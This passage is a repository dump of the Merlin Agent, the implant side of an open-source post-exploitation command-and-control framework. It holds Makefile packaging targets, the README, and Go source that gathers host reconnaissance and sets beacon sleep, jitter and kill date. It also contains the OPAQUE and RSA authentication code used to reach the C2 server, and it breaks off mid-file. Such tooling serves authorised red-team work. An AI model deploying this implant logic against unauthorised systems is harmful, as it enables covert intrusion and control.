${MAGENT}-${W}.exe package-windows-debug: ${PACKAGE} ${DIR}/${MAGENT}-${W}-Debug.7z ${F} cd ${DIR};${PACKAGE} ${MAGENT}-${W}-Debug.7z ${MAGENT}-${W}-Debug.exe package-linux: ${PACKAGE} ${DIR}/${MAGENT}-${L}.7z ${F} cd ${DIR};${PACKAGE} ${MAGENT}-${L}.7z ${MAGENT}-${L} package-darwin: ${PACKAGE} ${DIR}/${MAGENT}-${D}.7z ${F} cd ${DIR};${PACKAGE} ${MAGENT}-${D}.7z ${MAGENT}-${D} package-freebsd: ${PACKAGE} ${DIR}/${MAGENT}-${B}.7z ${F} cd ${DIR};${PACKAGE} ${MAGENT}-${B}.7z ${MAGENT}-${D} package-move: cp ${DIR}/${MAGENT}*.7z . clean: rm -rf ${DIR}* package-all: package-windows package-windows-debug package-linux package-darwin #Build all files for release distribution distro: clean all package-all package-move ================================================ FILE: README.md ================================================ [![AppVeyor](https://ci.appveyor.com/api/projects/status/xi0n3ucm5i234ios/branch/master?svg=true)](https://ci.appveyor.com/project/Ne0nd0g/merlin-agent) [![GoReportCard](https://goreportcard.com/badge/github.com/ne0nd0g/merlin-agent)](https://goreportcard.com/badge/github.com/ne0nd0g/merlin-agent) [![License: GPL v3](https://img.shields.io/badge/License-GPL%20v3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0) [![Release](https://img.shields.io/github/release/Ne0nd0g/merlin-agent.svg)](https://github.com/Ne0nd0g/merlin-agent/releases/latest) [![Downloads](https://img.shields.io/github/downloads/Ne0nd0g/merlin-agent/total.svg)](https://github.com/Ne0nd0g/merlin-agent/releases) [![Twitter Follow](https://img.shields.io/twitter/follow/merlin_c2.svg?style=social&label=Follow)](https://twitter.com/merlin_c2) # Merlin Agent

This repository contains the Agent code for [Merlin](https://github.com/Ne0nd0g/merlin) post-exploitation command and control framework. > Compiled versions of the agent for all Operating Systems are distributed in release packages from the main project Documentation for the project can be found at https://merlin-c2.readthedocs.io/en/latest/ ================================================ FILE: agent/agent.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package agent import ( // Standard "fmt" "net" "os" "os/user" "runtime" "strconv" "time" // 3rd Party "github.com/google/uuid" // Internal "github.com/Ne0nd0g/merlin-agent/v2/cli" merlinOS "github.com/Ne0nd0g/merlin-agent/v2/os" ) // Agent is an aggregate structure that represents a Merlin Agent type Agent struct { id uuid.UUID // id is a Universally Unique Identifier per agent authenticated bool // authenticated identifies if the agent has successfully completed initial authentication (if applicable) checkin time.Time // checkin is a timestamp of the agent's last status check in time comms Comms // comms holds information about the Agent's communications with the Server or parent Agent host Host // Host is an embedded structure that contains information about the host the Agent is running on initial time.Time // initial is a timestamp of the agent's initial check in time process Process // Process contains information about this Agent's process } // Config is a structure that is used to pass in all necessary information to instantiate a new Agent type Config struct { Sleep string // Sleep is the amount of time the Agent will wait between sending messages to the server Skew string // Skew is the variance or jitter, used to vary the sleep time so that it isn't constant KillDate string // KillDate is the date as a Unix timestamp, that agent will quit running MaxRetry string // MaxRetry is the maximum amount of time an agent will fail to check in before it quits running } // New creates a new Agent struct from the provided Config structure and returns the Agent object func New(config Config) (agent Agent, err error) { cli.Message(cli.DEBUG, "Entering agent.New() function") agent = Agent{ id: uuid.New(), } agent.host = Host{ Architecture: runtime.GOARCH, Platform: runtime.GOOS, } agent.process = Process{ ID: os.Getpid(), } // Process integrity Level agent.process.Integrity, err = merlinOS.GetIntegrityLevel() if err != nil { cli.Message(cli.DEBUG, fmt.Sprintf("there was an error determining the agent's integrity level: %s", err)) } // Process username and User GUID var u *user.User u, err = user.Current() if err != nil { err = fmt.Errorf("there was an error getting the current user: %s", err) return } agent.process.UserName = u.Username agent.process.UserGUID = u.Gid // Process Name agent.process.Name, err = os.Executable() if err != nil { err = fmt.Errorf("there was an error getting the process name: %s", err) return } agent.host.Name, err = os.Hostname() if err != nil { err = fmt.Errorf("there was an error getting the hostname: %s", err) return } var interfaces []net.Interface interfaces, err = net.Interfaces() if err != nil { err = fmt.Errorf("there was an error getting the IP addresses: %s", err) return } for _, iface := range interfaces { var addrs []net.Addr addrs, err = iface.Addrs() if err == nil { for _, addr := range addrs { agent.host.IPs = append(agent.host.IPs, addr.String()) } } else { err = fmt.Errorf("there was an error getting interface information: %s", err) return } } // Parse config // Parse KillDate if config.KillDate != "" { agent.comms.Kill, err = strconv.ParseInt(config.KillDate, 10, 64) if err != nil { err = fmt.Errorf("there was an error converting the killdate to an integer: %s", err) return } } else { agent.comms.Kill = 0 } // Parse MaxRetry if config.MaxRetry != "" { agent.comms.Retry, err = strconv.Atoi(config.MaxRetry) if err != nil { err = fmt.Errorf("there was an error converting the max retry to an integer: %s", err) return } } else { agent.comms.Retry = 7 } // Parse Sleep if config.Sleep != "" { agent.comms.Wait, err = time.ParseDuration(config.Sleep) if err != nil { err = fmt.Errorf("there was an error converting the sleep time to an integer: %s", err) return } } else { agent.comms.Wait = 30000 * time.Millisecond } // Parse Skew if config.Skew != "" { agent.comms.Skew, err = strconv.ParseInt(config.Skew, 10, 64) if err != nil { err = fmt.Errorf("there was an error converting the skew to an integer: %s", err) return } } else { agent.comms.Skew = 3000 } cli.Message(cli.INFO, "Host Information:") cli.Message(cli.INFO, fmt.Sprintf("\tAgent UUID: %s", agent.id)) cli.Message(cli.INFO, fmt.Sprintf("\tHostname: %s", agent.host.Name)) cli.Message(cli.INFO, fmt.Sprintf("\tPlatform: %s", agent.host.Platform)) cli.Message(cli.INFO, fmt.Sprintf("\tArchitecture: %s", agent.host.Architecture)) cli.Message(cli.INFO, fmt.Sprintf("\tPID: %d", agent.process.ID)) cli.Message(cli.INFO, fmt.Sprintf("\tProcess: %s", agent.process.Name)) cli.Message(cli.INFO, fmt.Sprintf("\tUser Name: %s", agent.process.UserName)) cli.Message(cli.INFO, fmt.Sprintf("\tUser GUID: %s", agent.process.UserGUID)) cli.Message(cli.INFO, fmt.Sprintf("\tIntegrity Level: %d", agent.process.Integrity)) cli.Message(cli.INFO, fmt.Sprintf("\tIPs: %v", agent.host.IPs)) cli.Message(cli.DEBUG, "Leaving agent.New function") return } // Authenticated returns if the Agent is authenticated to the Merlin server or not func (a *Agent) Authenticated() bool { return a.authenticated } // Comms returns the embedded Comms structure which contains information about the Agent's communication profile but // is not the actual client used for network communications func (a *Agent) Comms() Comms { return a.comms } // Failed returns the number of times the Agent has failed to successfully check in func (a *Agent) Failed() int { return a.comms.Failed } // Host returns the embedded Host structure that contains information about the Host where the Agent is running such as // the hostname and operating system func (a *Agent) Host() Host { return a.host } // ID returns the Agent's unique identifier func (a *Agent) ID() uuid.UUID { return a.id } // KillDate returns the date, as an epoch timestamp, that the Agent will quit running func (a *Agent) KillDate() int64 { return a.comms.Kill } // MaxRetry returns the configured value for how many times the Agent will try to connect in before it quits running func (a *Agent) MaxRetry() int { return a.comms.Retry } // Process returns the embedded Process structure that contains information about the process this Merlin Agent is running in // such as the process id, username, or integrity level func (a *Agent) Process() Process { return a.process } // SetAuthenticated updates the Agent's authentication status // The updated Agent object must be stored or updated in the repository separately for the change to be permanent func (a *Agent) SetAuthenticated(authenticated bool) { a.authenticated = authenticated } // SetComms updates the Agent's embedded Comms structure with the one provided // The updated Agent object must be stored or updated in the repository separately for the change to be permanent func (a *Agent) SetComms(comms Comms) { a.comms = comms } // SetFailedCheckIn updates the number of times the Agent has actually failed to check in // The updated Agent object must be stored or updated in the repository separately for the change to be permanent func (a *Agent) SetFailedCheckIn(failed int) { a.comms.Failed = failed } // SetInitialCheckIn updates the time stamp that the Agent first successfully connected to the Merlin server // The updated Agent object must be stored or updated in the repository separately for the change to be permanent func (a *Agent) SetInitialCheckIn(checkin time.Time) { a.initial = checkin } // SetKillDate updates the date, as an epoch timestamp, that the Agent will quit running // The updated Agent object must be stored or updated in the repository separately for the change to be permanent func (a *Agent) SetKillDate(epochDate int64) { a.comms.Kill = epochDate } // SetMaxRetry updates the number of times the Agent can fail to check in before it quits running // The updated Agent object must be stored or updated in the repository separately for the change to be permanent func (a *Agent) SetMaxRetry(retries int) { a.comms.Retry = retries } // SetSkew updates the amount of jitter or skew added to the Agent's sleep or wait time // The updated Agent object must be stored or updated in the repository separately for the change to be permanent func (a *Agent) SetSkew(skew int64) { a.comms.Skew = skew } // SetStatusCheckIn updates the last time the Agent successfully communicated with the Merlin server // The updated Agent object must be stored or updated in the repository separately for the change to be permanent func (a *Agent) SetStatusCheckIn(checkin time.Time) { a.checkin = checkin } // SetWaitTime updates the amount of time the Agent will wait or sleep before it attempts to check in again // The updated Agent object must be stored or updated in the repository separately for the change to be permanent func (a *Agent) SetWaitTime(wait time.Duration) { a.comms.Wait = wait } // Skew returns the amount of jitter or skew the Agent is adding to the amount of time it sleeps between check ins func (a *Agent) Skew() int64 { return a.comms.Skew } // Wait returns the amount of time the Agent will wait or sleep between check ins func (a *Agent) Wait() time.Duration { return a.comms.Wait } ================================================ FILE: agent/memory/memory.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package memory is an in-memory repository to store or update an Agent object package memory import ( // Standard "sync" "time" // Internal "github.com/Ne0nd0g/merlin-agent/v2/agent" ) // Repository is the structure that implements the in-memory repository for interacting with the Agent's C2 client type Repository struct { sync.Mutex agent agent.Agent } // repo is the in-memory datastore var repo *Repository // NewRepository creates and returns a new in-memory repository for interacting with the Agent in-memory repository func NewRepository() *Repository { if repo == nil { repo = &Repository{ Mutex: sync.Mutex{}, } } return repo } // Add stores the Merlin Agent structure to the repository func (r *Repository) Add(agent agent.Agent) { r.Lock() defer r.Unlock() r.agent = agent } // Get returns the stored Agent structure func (r *Repository) Get() agent.Agent { return r.agent } // SetAuthenticated updates the Agent's authentication status and stores the updated Agent in the repository func (r *Repository) SetAuthenticated(authenticated bool) { r.Lock() defer r.Unlock() r.agent.SetAuthenticated(authenticated) } // SetFailedCheckIn updates the number of times the Agent has actually failed to check in and stores the updated Agent // in the repository func (r *Repository) SetFailedCheckIn(failed int) { r.Lock() defer r.Unlock() r.agent.SetFailedCheckIn(failed) } // SetInitialCheckIn updates the time stamp that the Agent first successfully connected to the Merlin server and stores // the updated Agent in the repository func (r *Repository) SetInitialCheckIn(checkin time.Time) { r.Lock() defer r.Unlock() r.agent.SetInitialCheckIn(checkin) } // SetKillDate sets the date, as an epoch timestamp, of when the Agent will quit running and stores the updated Agent // in the repository func (r *Repository) SetKillDate(epochDate int64) { r.Lock() defer r.Unlock() r.agent.SetKillDate(epochDate) } // SetMaxRetry updates the number of times the Agent can fail to check in before it quits running and stores the updated // Agent in the repository func (r *Repository) SetMaxRetry(retries int) { r.Lock() defer r.Unlock() r.agent.SetMaxRetry(retries) } // SetSkew updates the amount of jitter or skew added to the Agent's sleep or wait time and stores the updated Agent in // the repository func (r *Repository) SetSkew(skew int64) { r.Lock() defer r.Unlock() r.agent.SetSkew(skew) } // SetSleep updates the amount of time the Agent will wait or sleep before it attempts to check in again and stores the // updated Agent in the repository func (r *Repository) SetSleep(sleep time.Duration) { r.Lock() defer r.Unlock() r.agent.SetWaitTime(sleep) } // SetComms updates the Agent's embedded Comms structure with the one provided and stores the updated Agent in the repository func (r *Repository) SetComms(comms agent.Comms) { r.Lock() defer r.Unlock() r.agent.SetComms(comms) } // SetStatusCheckIn updates the last time the Agent successfully communicated with the Merlin server and stores the // updated Agent in the repository func (r *Repository) SetStatusCheckIn(checkin time.Time) { r.Lock() defer r.Unlock() r.agent.SetStatusCheckIn(checkin) } ================================================ FILE: agent/repository.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package agent import "time" type Repository interface { // Add stores the Merlin Agent structure to the repository Add(agent Agent) // Get returns the stored Agent structure Get() Agent // SetAuthenticated updates the Agent's authentication status and stores the updated Agent in the repository SetAuthenticated(authenticated bool) // SetComms updates the Agent's embedded Comms structure with the one provided and stores the updated Agent in the repository SetComms(comms Comms) // SetFailedCheckIn updates the number of times the Agent has actually failed to check in and stores the updated Agent // in the repository SetFailedCheckIn(failed int) // SetInitialCheckIn updates the time stamp that the Agent first successfully connected to the Merlin server and stores // the updated Agent in the repository SetInitialCheckIn(checkin time.Time) // SetKillDate sets the date, as an epoch timestamp, of when the Agent will quit running and stores the updated Agent // in the repository SetKillDate(epochDate int64) // SetMaxRetry updates the number of times the Agent can fail to check in before it quits running and stores the updated // Agent in the repository SetMaxRetry(retries int) // SetSkew updates the amount of jitter or skew added to the Agent's sleep or wait time and stores the updated Agent in // the repository SetSkew(skew int64) // SetSleep updates the amount of time the Agent will wait or sleep before it attempts to check in again and stores the // updated Agent in the repository SetSleep(sleep time.Duration) // SetStatusCheckIn updates the last time the Agent successfully communicated with the Merlin server and stores the // updated Agent in the repository SetStatusCheckIn(checkin time.Time) } ================================================ FILE: agent/structs.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package agent import "time" // Build is a structure that holds information about an Agent's compiled build hash and the Agent's version number type Build struct { Build string // The agent's build hash Version string // The agent's version number } // Comms is a structure that holds information about an Agent's communication profile type Comms struct { Failed int // The number of times the agent has failed to check in JA3 string // The ja3 signature applied to the agent's TLS client Kill int64 // The epoch date and time that the agent will kill itself and quit running Padding int // The maximum amount of padding that will be appended to the Base message Proto string // The protocol the agent is using to communicate with the server Retry int // The maximum amount of times an agent will retry to check in before exiting Skew int64 // The amount of skew, or jitter, used to calculate the check in time Wait time.Duration // The amount of time the agent waits before trying to check in } // Host is a structure that holds information about the Host operating system an Agent is running on type Host struct { Architecture string // The operating system architecture the agent is running on (e.g., x86 or x64) Name string // The host name the agent is running on Platform string // The platform, or operating system, the agent is running on IPs []string // A list of interface IP addresses on the host where the agent is running } // Process is a structure that holds information about the Process the Agent is running in/as type Process struct { ID int // The process ID that the agent is running in Integrity int // The integrity level of the process the agent is running in Name string // The process name that the agent is running in UserGUID string // The GUID of the user that the agent is running as UserName string // The username that the agent is running as Domain string // The domain the user running the process belong to } ================================================ FILE: authenticators/authenticaters.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package authenticators holds the factories to create structures that implement the Authenticator interface // This interface is used by the Agent to authenticate to the server package authenticators import ( // Merlin "github.com/Ne0nd0g/merlin-message" ) // Authenticator is an interface used by various authentication methods type Authenticator interface { // Authenticate performs the necessary steps to authenticate the agent, returning one or more Base messages needed // to complete authentication. Function must take in a Base message for when the authentication process takes more // than one step. Authenticate(messages.Base) (messages.Base, bool, error) // Secret returns encryption keys derived during the Agent authentication process (if applicable) Secret() ([]byte, error) // String returns a string representation of the Authenticator's type String() string } ================================================ FILE: authenticators/none/none.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package none is used to exclude or bypass authentication mechanisms. When this Authenticator is used, NO authentication is provided package none import ( // 3rd Party "github.com/google/uuid" // Merlin "github.com/Ne0nd0g/merlin-message" ) // Authenticator is a structure used for "none" authentication type Authenticator struct { agent uuid.UUID } // New returns a "none" Authenticator structure func New(id uuid.UUID) *Authenticator { return &Authenticator{agent: id} } // Authenticate returns true because the none package offers no authentication func (a *Authenticator) Authenticate(messages.Base) (messages.Base, bool, error) { return messages.Base{ID: a.agent, Type: messages.CHECKIN}, true, nil } // Secret returns an empty key because the none package offers no authentication and did not establish a secret func (a *Authenticator) Secret() ([]byte, error) { return []byte{}, nil } // String returns the name of the Authenticator type func (a *Authenticator) String() string { return "none" } ================================================ FILE: authenticators/opaque/opaque.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package opaque is an authenticator for Agent communications with the server using the OPAQUE protocol package opaque import ( // Standard "crypto/sha256" "fmt" // 3rd Party "github.com/cretz/gopaque/gopaque" "github.com/google/uuid" "golang.org/x/crypto/pbkdf2" // Merlin "github.com/Ne0nd0g/merlin-message" "github.com/Ne0nd0g/merlin-message/opaque" // Internal "github.com/Ne0nd0g/merlin-agent/v2/cli" "github.com/Ne0nd0g/merlin-agent/v2/core" ) // Authenticator is a structure used for OPAQUE authentication type Authenticator struct { agent uuid.UUID // The Agent's ID registered bool // If OPAQUE registration has been completed authenticated bool // If OPAQUE authentication has been completed opaque *User // The OPAQUE user data structure } // New returns an OPAQUE Authenticator structure used for Agent authentication func New(id uuid.UUID) *Authenticator { return &Authenticator{agent: id} } // Authenticate goes through the entire OPAQUE process to authenticate to the server and establish a shared secret func (a *Authenticator) Authenticate(in messages.Base) (out messages.Base, authenticated bool, err error) { out.ID = a.agent out.Type = messages.OPAQUE // Check for ReRegister and ReAuthenticate messages if in.Type == messages.OPAQUE { if in.Payload != nil { switch in.Payload.(opaque.Opaque).Type { case opaque.ReRegister: cli.Message(cli.NOTE, "Received OPAQUE re-register request") if !a.registered { cli.Message(cli.INFO, "authenticators/opaque.Authenticate(): OPAQUE registration already in progress, doing nothing") return messages.Base{}, false, nil } a.registered = false a.opaque = nil case opaque.ReAuthenticate: cli.Message(cli.NOTE, "Received OPAQUE re-authenticate request") a.authenticated = false payload := opaque.Opaque{ Type: opaque.RegComplete, Payload: nil, } in.Payload = payload } } } // Registration has not successfully completed if !a.registered { // The initial OPAQUE message generated by the Agent for its first communication with the server will have an empty payload. // All other messages will have an opaque.Opaque payload if in.Payload == nil { // Register Init out.Payload, a.opaque, err = UserRegisterInit(a.agent, a.opaque) if err != nil { err = fmt.Errorf("authenticators/opaque.Authenticate(): there was an error creating the OPAQUE User Registration Initialization message: %s", err) } // Return opaque.RegInit message cli.Message(cli.NOTE, "Starting OPAQUE Registration") return } } // Validate the incoming message is for this agent if in.ID != a.agent { return messages.Base{}, false, fmt.Errorf("authenticators/opaque.Authenticate(): Incoming message ID %s does not match Agent ID %s", in.ID, a.agent) } // Validate the Base message is an OPAQUE type if in.Type != messages.OPAQUE { return out, authenticated, fmt.Errorf("authenticators/opaque.Authenticate(): Incoming message type %d was not an OPAQUE type %d", in.Type, messages.OPAQUE) } // AuthComplete messages have no payload opaqueMessage := in.Payload.(opaque.Opaque) switch opaqueMessage.Type { case opaque.RegInit: // Server returned a RegInit message, start OPAQUE registration completion out.Payload, err = UserRegisterComplete(opaqueMessage, a.opaque) if err != nil { err = fmt.Errorf("authenticators/opaque.Authenticate(): there was an error creating the OPAQUE User Registration Complete message: %s", err) } else { a.registered = true } // Returning an opaque.RegComplete message to the server case opaque.RegComplete: cli.Message(cli.NOTE, "Received OPAQUE server registration complete message") cli.Message(cli.NOTE, "Starting OPAQUE Authentication") // OPAQUE Registration has completed, start OPAQUE Authentication // Build AuthInit message out.Payload, err = UserAuthenticateInit(a.agent, a.opaque) // Returning an opaque.AuthInit message to the server case opaque.AuthInit: cli.Message(cli.NOTE, "Received OPAQUE server authentication initialization message") // Server returned an AuthInit message, start authentication completion out.Payload, err = UserAuthenticateComplete(opaqueMessage, a.opaque) if err == nil { a.authenticated = true authenticated = true } // Returning an opaque.AuthComplete message to the server case opaque.ReRegister: cli.Message(cli.NOTE, "Received OPAQUE server re-registration message") a.registered = false a.opaque = nil out.Payload, a.opaque, err = UserRegisterInit(a.agent, a.opaque) case opaque.ReAuthenticate: cli.Message(cli.NOTE, "Received OPAQUE server re-authentication message") a.authenticated = false out.Payload, err = UserAuthenticateInit(a.agent, a.opaque) // Returning an opaque.AuthInit message to the server } return } // Secret returns the established shared secret as bytes func (a *Authenticator) Secret() (key []byte, err error) { if !a.authenticated { return nil, fmt.Errorf("authenticators/opaque.Secret(): the Agent has not completed OPAQUE authentication") } return []byte(a.opaque.Kex.SharedSecret.String()), nil } // String returns the name of the Authenticator type func (a *Authenticator) String() string { return "OPAQUE" } // User is the structure that holds information for the various steps of the OPAQUE protocol as the user type User struct { reg *gopaque.UserRegister // User Registration regComplete *gopaque.UserRegisterComplete // User Registration Complete auth *gopaque.UserAuth // User Authentication Kex *gopaque.KeyExchangeSigma // User Key Exchange pwdU []byte // User Password } // UserRegisterInit is used to perform the OPAQUE Password Authenticated Key Exchange (PAKE) protocol Registration steps for the user func UserRegisterInit(AgentID uuid.UUID, user *User) (opaque.Opaque, *User, error) { cli.Message(cli.DEBUG, "Entering into opaque.UserRegisterInit...") var userRegInit *gopaque.UserRegisterInit // If Registration was previously started, but unsuccessful, the User variable will not be nil if user == nil { var newUser User // Generate a random password and run it through 5000 iterations of PBKDF2; Used with OPAQUE x := core.RandStringBytesMaskImprSrc(30) agentIDBytes, err := AgentID.MarshalBinary() if err != nil { return opaque.Opaque{}, nil, fmt.Errorf("there was an error marshalling the AgentID to bytes: %s", err) } newUser.pwdU = pbkdf2.Key([]byte(x), agentIDBytes, 5000, 32, sha256.New) // Build OPAQUE User Registration Initialization newUser.reg = gopaque.NewUserRegister(gopaque.CryptoDefault, agentIDBytes, nil) user = &newUser } userRegInit = user.reg.Init(user.pwdU) cli.Message(cli.DEBUG, fmt.Sprintf("OPAQUE UserID: %x", userRegInit.UserID)) cli.Message(cli.DEBUG, fmt.Sprintf("OPAQUE Alpha: %v", userRegInit.Alpha)) cli.Message(cli.DEBUG, fmt.Sprintf("OPAQUE PwdU: %x", user.pwdU)) userRegInitBytes, errUserRegInitBytes := userRegInit.ToBytes() if errUserRegInitBytes != nil { return opaque.Opaque{}, user, fmt.Errorf("there was an error marshalling the OPAQUE user registration initialization message to bytes:\r\n%s", errUserRegInitBytes.Error()) } // Message to be sent to the server regInit := opaque.Opaque{ Type: opaque.RegInit, Payload: userRegInitBytes, } return regInit, user, nil } // UserRegisterComplete consumes the Server's response and finishes OPAQUE registration func UserRegisterComplete(regInitResp opaque.Opaque, user *User) (opaque.Opaque, error) { cli.Message(cli.DEBUG, "Entering into opaque.UserRegisterComplete...") if regInitResp.Type != opaque.RegInit { return opaque.Opaque{}, fmt.Errorf("expected OPAQUE message type %d, got %d", opaque.RegInit, regInitResp.Type) } // Check to see if OPAQUE User Registration was previously completed if user.regComplete == nil { var serverRegInit gopaque.ServerRegisterInit errServerRegInit := serverRegInit.FromBytes(gopaque.CryptoDefault, regInitResp.Payload) if errServerRegInit != nil { return opaque.Opaque{}, fmt.Errorf("there was an error unmarshalling the OPAQUE server register initialization message from bytes:\r\n%s", errServerRegInit.Error()) } cli.Message(cli.NOTE, "Received OPAQUE server registration initialization message") cli.Message(cli.DEBUG, fmt.Sprintf("OPAQUE Beta: %v", serverRegInit.Beta)) cli.Message(cli.DEBUG, fmt.Sprintf("OPAQUE V: %v", serverRegInit.V)) cli.Message(cli.DEBUG, fmt.Sprintf("OPAQUE PubS: %s", serverRegInit.ServerPublicKey)) // TODO extend gopaque to run RwdU through n iterations of PBKDF2 user.regComplete = user.reg.Complete(&serverRegInit) } userRegCompleteBytes, errUserRegCompleteBytes := user.regComplete.ToBytes() if errUserRegCompleteBytes != nil { return opaque.Opaque{}, fmt.Errorf("there was an error marshalling the OPAQUE user registration complete message to bytes:\r\n%s", errUserRegCompleteBytes.Error()) } cli.Message(cli.DEBUG, fmt.Sprintf("OPAQUE EnvU: %x", user.regComplete.EnvU)) cli.Message(cli.DEBUG, fmt.Sprintf("OPAQUE PubU: %v", user.regComplete.UserPublicKey)) // message to be sent to the server regComplete := opaque.Opaque{ Type: opaque.RegComplete, Payload: userRegCompleteBytes, } return regComplete, nil } // UserAuthenticateInit is used to authenticate an agent leveraging the OPAQUE Password Authenticated Key Exchange (PAKE) protocol func UserAuthenticateInit(AgentID uuid.UUID, user *User) (opaque.Opaque, error) { cli.Message(cli.DEBUG, "Entering into opaque.UserAuthenticateInit...") agentIDBytes, err := AgentID.MarshalBinary() if err != nil { return opaque.Opaque{}, fmt.Errorf("there was an error marshalling the AgentID to bytes: %s", err) } // 1 - Create a NewUserAuth with an embedded key exchange user.Kex = gopaque.NewKeyExchangeSigma(gopaque.CryptoDefault) user.auth = gopaque.NewUserAuth(gopaque.CryptoDefault, agentIDBytes, user.Kex) // 2 - Call Init with the password and send the resulting UserAuthInit to the server userAuthInit, err := user.auth.Init(user.pwdU) if err != nil { return opaque.Opaque{}, fmt.Errorf("there was an error creating the OPAQUE user authentication initialization message:\r\n%s", err.Error()) } userAuthInitBytes, errUserAuthInitBytes := userAuthInit.ToBytes() if errUserAuthInitBytes != nil { return opaque.Opaque{}, fmt.Errorf("there was an error marshalling the OPAQUE user authentication initialization message to bytes:\r\n%s", errUserAuthInitBytes.Error()) } // message to be sent to the server authInit := opaque.Opaque{ Type: opaque.AuthInit, Payload: userAuthInitBytes, } return authInit, nil } // UserAuthenticateComplete consumes the Server's authentication message and finishes the user authentication and key exchange func UserAuthenticateComplete(authInitResp opaque.Opaque, user *User) (opaque.Opaque, error) { cli.Message(cli.DEBUG, "Entering into opaque.UserAuthenticateComplete...") if authInitResp.Type != opaque.AuthInit { return opaque.Opaque{}, fmt.Errorf("expected OPAQUE message type: %d, received: %d", opaque.AuthInit, authInitResp.Type) } // 3 - Receive the server's ServerAuthComplete var serverComplete gopaque.ServerAuthComplete errServerComplete := serverComplete.FromBytes(gopaque.CryptoDefault, authInitResp.Payload) if errServerComplete != nil { return opaque.Opaque{}, fmt.Errorf("there was an error unmarshalling the OPAQUE server complete message from bytes:\r\n%s", errServerComplete.Error()) } // 4 - Call Complete with the server's ServerAuthComplete. The resulting UserAuthFinish has user and server key // information. This would be the last step if we were not using an embedded key exchange. Since we are, take the // resulting UserAuthComplete and send it to the server. cli.Message(cli.NOTE, "Received OPAQUE server complete message") cli.Message(cli.DEBUG, fmt.Sprintf("OPAQUE Beta: %x", serverComplete.Beta)) cli.Message(cli.DEBUG, fmt.Sprintf("OPAQUE V: %x", serverComplete.V)) cli.Message(cli.DEBUG, fmt.Sprintf("OPAQUE PubS: %x", serverComplete.ServerPublicKey)) cli.Message(cli.DEBUG, fmt.Sprintf("OPAQUE EnvU: %x", serverComplete.EnvU)) _, userAuthComplete, errUserAuth := user.auth.Complete(&serverComplete) if errUserAuth != nil { return opaque.Opaque{}, fmt.Errorf("there was an error completing OPAQUE authentication:\r\n%s", errUserAuth) } userAuthCompleteBytes, errUserAuthCompleteBytes := userAuthComplete.ToBytes() if errUserAuthCompleteBytes != nil { return opaque.Opaque{}, fmt.Errorf("there was an error marshalling the OPAQUE user authentication complete message to bytes:\r\n%s", errUserAuthCompleteBytes.Error()) } authComplete := opaque.Opaque{ Type: opaque.AuthComplete, Payload: userAuthCompleteBytes, } return authComplete, nil } ================================================ FILE: authenticators/rsa/rsa.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package rsa is an authenticator for Agent communications with the server using RSA key exchange // Primarily used with Mythic's HTTP profile package rsa import ( // Standard "crypto/rand" "crypto/rsa" "crypto/sha1" // #nosec G505 